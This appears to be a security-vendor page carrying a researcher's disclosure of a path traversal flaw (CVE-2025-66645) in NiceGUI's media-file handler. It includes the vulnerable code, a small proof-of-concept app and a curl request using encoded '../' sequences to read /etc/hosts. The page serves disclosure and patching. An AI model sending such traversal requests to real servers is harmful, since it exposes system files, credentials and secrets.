Get a Demo

Let's Patch It!

Book a short call with one our specialists, we'll walk you through how Endor Patches work, and ask you a few questions about your environment (like your primary programming languages and repository management). We'll also send you an email right after you fill out the form, feel free to reply with any questions you have in advance!

CVE

CVE-2025-66645

NiceGUI has a path traversal in app.add_media_files() allows arbitrary file read
Back to all
CVE

CVE-2025-66645

NiceGUI has a path traversal in app.add_media_files() allows arbitrary file read

Summary

A directory traversal vulnerability in NiceGUI's App.addmediafiles() allows a remote attacker to read arbitrary files on the server filesystem.

Details

Hello, I am Seungbin Yang, a university student studying cybersecurity. 

While reviewing the source code of the repository, I discovered a potential vulnerability and successfully verified it with a PoC.

The App.addmediafiles(urlpath, localdirectory) method allows users to serve media files. However, the implementation lacks proper path validation.

def add_media_files(self, url_path: str, local_directory: Union[str, Path]) -> None:
    @self.get(url_path.rstrip('/') + '/{filename:path}')
    def read_item(request: Request, filename: str, nicegui_chunk_size: int = 8192) -> Response:
        filepath = Path(local_directory) / filename
        if not filepath.is_file():
            raise HTTPException(status_code=404, detail='Not Found')
        return get_range_response(filepath, request, chunk_size=nicegui_chunk_size)

Root Cause:

  1. The {filename:path} parameter accepts full paths, including traversal sequences like ../.
  2. The code simply joins localdirectory and filename without checking if the result is still inside the localdirectory.
  3. There is no path sanitization or boundary check.

Consequence:

An attacker can use .. to access files outside the intended directory. If the application has permission, sensitive files (e.g., /etc/hosts, source code, config files) can be exposed.

POC

  1. Create poc.py:
## poc.py
from pathlib import Path
from nicegui import app, ui
MEDIA_DIR = Path(__file__).parent / 'media'
MEDIA_DIR.mkdir(exist_ok=True)
## Expose local "media" directory at /media
app.add_media_files('/media', MEDIA_DIR)
@ui.page('/')
def index():
    ui.label('NiceGUI media PoC')
ui.run(port=8080, reload=False)
  1. Run the application: python3 poc.py
  2. Exploit with curl: Use URL-encoded dots (%2e) to bypass client-side checks.

curl -v "http://localhost:8080/media/%2e%2e/%2e%2e/%2e%2e/etc/hosts"

Result:

The HTTP status is 200 OK, and the response body contains the contents of the server’s /etc/hosts file.

I have attached a screenshot of the successful exploitation below. As shown in the image, the content of /etc/hosts displayed via cat matches the output received from the curl request perfectly.

<img width="1728" height="1078" alt="POC screenshot" src="https://github.com/user-attachments/assets/6c1be75b-6be2-4372-90df-55042c1e4775" />

Impact

Any NiceGUI application that calls app.addmediafiles() on a URL path reachable by an attacker is affected. An unauthenticated remote attacker can read sensitive files outside the intended media directory, potentially exposing:

•Application source code and configuration files

•Credentials, API keys, and secrets

•Operating system configuration files (e.g., /etc/passwd, /etc/hosts)

This is my first github vulnerability report, so I would appreciate your understanding regarding any potential shortcomings. If you require any further information or clarification, please feel free to contact me at y4rvin@naver.com.

Thank you.

Package Versions Affected

Package Version
patch Availability
No items found.

Automatically patch vulnerabilities without upgrading

Fix Without Upgrading
Detect compatible fix
Apply safe remediation
Fix with a single pull request

CVSS Version

Severity
Base Score
CVSS Version
Score Vector
C
H
U
7.5
-
3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
C
H
U
0
-
3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
C
H
U
7.5
-
3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Related Resources

No items found.

References

https://github.com/zauberzeug/nicegui/security/advisories/GHSA-hxp3-63hc-5366, https://nvd.nist.gov/vuln/detail/CVE-2025-66645, https://github.com/zauberzeug/nicegui/commit/a1b89e2a24e1911a40389ace2153a37f4eea92a9, https://github.com/zauberzeug/nicegui

Severity

7.5

CVSS Score
0
10

Basic Information

Ecosystem
Base CVSS
7.5
EPSS Probability
0.01016%
EPSS Percentile
0.76694%
Introduced Version
0,1.4.0,1.2.18
Fix Available
3.4.0

Fix Critical Vulnerabilities Instantly

Secure your app without upgrading.
Fix Without Upgrading